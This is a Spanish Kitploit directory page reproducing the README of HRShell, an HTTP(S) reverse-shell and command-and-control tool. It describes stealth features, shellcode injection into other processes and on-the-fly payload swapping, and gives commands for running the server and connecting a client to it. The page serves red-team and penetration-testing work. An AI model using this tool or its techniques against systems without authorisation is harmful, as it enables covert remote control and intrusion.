Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HRShell — HRShell es un reverse shell HTTPS/HTTP construido con flask. Es un servidor C2 avanzado con muchas funciones y capacidades. | Kitploit
Herramientas/GitHubGitHub/chrispetrou/hrshell
Herramientas de Cifrado/DescifradoExplotaciónIngeniería InversaShellcodePost-ExplotaciónSeguridad WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de PayloadsArchived
GitHub
24869hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
chrispetrou/hrshell

HRShell

HRShell es un reverse shell HTTPS/HTTP construido con flask. Es un servidor C2 avanzado con muchas funciones y capacidades.

Ver Repositorio
HRShell: Un avanzado Reverse Shell HTTP(S) construido con Flask

GPLv3 license version Known Vulnerabilities



HRShell es un reverse shell HTTPS/HTTP construido con Flask y es compatible con python 3.x. El client.py ha sido probado exitosamente en:

  • Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

mientras que el server.py es compatible con sistemas Unix (Soporte para Windows próximamente...)

Características

  • Es sigiloso
  • Soporte TLS 🔑
    • Ya sea usando certificados sobre la marcha o
    • Especificando un par cert/clave (más detalles abajo...)
  • Inyección de shellcode 💉 (más detalles abajo...)
    • Ya sea inyección de shellcode en un hilo/proceso generado del proceso actual en ejecución
      • Plataformas soportadas hasta ahora:
        • Windows x86
        • Unix x86
        • Unix x64
    • o inyección de shellcode en otro proceso (migrate <PID>) especificando su PID
      • Plataformas soportadas hasta ahora:
        • Windows x86
        • Windows x64
  • El shellcode puede ser configurado/modificado sobre la marcha desde el servidor (más detalles abajo...)
  • Soporte de proxy en el cliente.
  • Navegación de directorios (comando cd y variantes).
  • Comando interactivo history disponible en sistemas Unix.
  • Comandos download/upload/screenshot/hex disponibles.
  • Pipelining (|) y comandos encadenados (;) están soportados
  • Soporte para cualquier comando no interactivo (como gdb, top, etc...)
  • El servidor es capaz de usar tanto HTTP como HTTPS.
  • Viene con dos servidores incorporados 🌐 hasta ahora... flask incorporado y tornado-WSGI, mientras que también es compatible con otros servidores de producción como y .

*Para cambios de versión consulte el CHANGELOG.

Detalles


Sigiloso :shipit:

HRShell es sigiloso ya que utiliza el protocolo HTTP(S) como método de comunicación entre cliente y servidor. Además, cuando se usa TLS, el tráfico también está cifrado. Además, si el CERT no está codificado manualmente en el lado del cliente (lo cual es una opción factible) y no se usa el comando upload, entonces client.py no toca el disco en absoluto.

TLS 🔑

Lado del servidor: A menos que se especifique la opción --http, por defecto server.py es HTTPS usando certificados sobre la marcha, ya que los certificados sobre la marcha son una característica incorporada de Flask. Pero si se especifica la opción -s tornado para que el servidor use TLS, se deben especificar las opciones --cert y --key de la siguiente manera:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Se pueden usar certificados "reales" u otra forma de generar un par cert/clave es, por ejemplo, usando mkcert u openssl directamente de la siguiente manera:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

También se puede usar un par cert/clave con el servidor Flask:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Si el servidor está usando TLS, entonces por diseño el cliente no puede usar http://... para conectarse al servidor, sino que debe usar explícitamente https.

Lado del cliente: Por defecto, la verificación SSL del cliente está deshabilitada, a menos que:

  • ya sea que se especifique el parámetro --cert, por ejemplo:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • o la variable CERT, en lugar del valor predeterminado None, se establece previamente con un certificado válido, por ejemplo:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    En este caso, client.py intentará crear un archivo oculto .cert.pem sobre la marcha y lo usará en su lugar.

⚠️ Que la verificación SSL esté deshabilitada por defecto en el cliente no significa en ningún caso que TLS también esté deshabilitado, TLS estará habilitado si el servidor lo usa - por lo que TLS depende completamente del servidor. La opción --cert en el cliente está ahí solo como una forma alternativa para que el servidor-cliente tenga una sesión cifrada y eso es todo.

Inyección de shellcode 💉

Hay dos "modos" de inyección de shellcode usando los dos siguientes comandos respectivamente:

  1. migrate <PID>: Usando este comando podemos inyectar shellcode en el espacio de memoria de otro proceso especificando su PID. Por ahora, este comando solo se puede aplicar en plataformas Windows x86/x64!
  1. inject shellcode: Usando este comando se crea un nuevo hilo (o proceso generado en sistemas Unix) de nuestro proceso actual y la inyección de shellcode ocurre en su espacio de memoria. Como resultado, nuestro shell HTTP(S) no se ve afectado por la inyección. Las plataformas donde se puede aplicar este comando son: Unix x86/x64, Windows x86!
Notas
  • En caso de que la inyección ocurra en un proceso, los permisos del proceso juegan un papel muy importante. No siempre es posible inyectar en cualquier proceso debido a la falta de privilegios adecuados.

Configurar/Modificar shellcode

Hay dos formas de especificar/configurar qué tipo de shellcode desea que ejecute el cliente:

  • Ya sea predefinir la variable shellcode en el script client.py para que sea un shellcode válido, o
  • Use el comando set shellcode <shellcode-id> para hacerlo sobre la marcha. Con este comando puede actualizar su shellcode en el lado del cliente desde el lado del servidor tantas veces como desee!

La primera forma es bastante directa. Sin embargo, para usar la segunda forma, más conveniente (ya que también puede modificar un shellcode ya especificado), debe configurar el script shellcodes/utils.py para que contenga el/los shellcode(s) de su elección. El script contiene un ejemplo de cómo puede hacerlo.

💡 Puede modificar/actualizar el script shellcodes/utils.py incluso después de haber lanzado server.py tantas veces como desee, ya que server.py usará dinámicamente la versión más actualizada/reciente. De esta manera, puede configurar y modificar shellcodes sobre la marcha...

Comandos disponibles:

Comandos especiales:

Cualquier otro comando es compatible si no es interactivo como por ejemplo, gdb, top, etc... También escribiendo python server.py -h o python client.py -h puede obtener información sobre los argumentos disponibles del servidor y del cliente.

Nota: Si un cliente está conectado con el servidor y queremos terminar el servidor, antes de presionar CTRL+C, debemos cerrar la conexión usando el comando exit.

Creación de comandos personalizados

Lado del cliente:

Para crear un comando personalizado, generalmente:

  • se debe definir una regla regex que describa el comando en el lado del cliente
  • también se debe agregar el código para manejar ese comando como una declaración elif en el lado del cliente.

Lado del servidor:

Si el comando requiere la existencia de un nuevo endpoint en el lado del servidor, entonces:

  • para definir el endpoint:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • luego editar handleGET() para redirigir al cliente a ese endpoint:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • realizar las ediciones apropiadas en handlePOST() para manejar la presentación de los resultados.

Argumentos del script

Ambos scripts (server.py y client.py) se pueden personalizar mediante argumentos:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 Requisitos:

Para instalar los requisitos del servidor:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 PENDIENTE

  • Agregar más comandos y características.
  • Corregir posibles errores.

💭 Contribuciones y Comentarios

Los comentarios y contribuciones son bienvenidos. Si encuentra algún error o tiene una solicitud de funcionalidad, no dude en abrir un issue, y tan pronto como lo revise intentaré solucionarlo.

Descargo de responsabilidad

Esta herramienta es solo para fines de prueba y académicos, y solo puede usarse donde se haya otorgado un consentimiento estricto. ¡No la use para fines ilegales! Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por ningún mal uso o daño causado por esta herramienta y el software en general.

Créditos y Referencias

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • Un gran artículo encontrado aquí.
  • La función hexdump del cliente tomada de este gran gist.
  • ¡El logo de HRShell está hecho con fontmeme.com!

Licencia

Este proyecto está licenciado bajo la Licencia GPLv3 - consulte el archivo LICENSE para más detalles.

Descargar herramienta
gunicorn
Nginx
  • Tanto server.py como client.py son fácilmente extensibles.
  • Dado que la mayor parte de la funcionalidad proviene del diseño de endpoints del servidor, es muy fácil escribir un cliente en cualquier otro lenguaje por ejemplo, Java, Go, etc...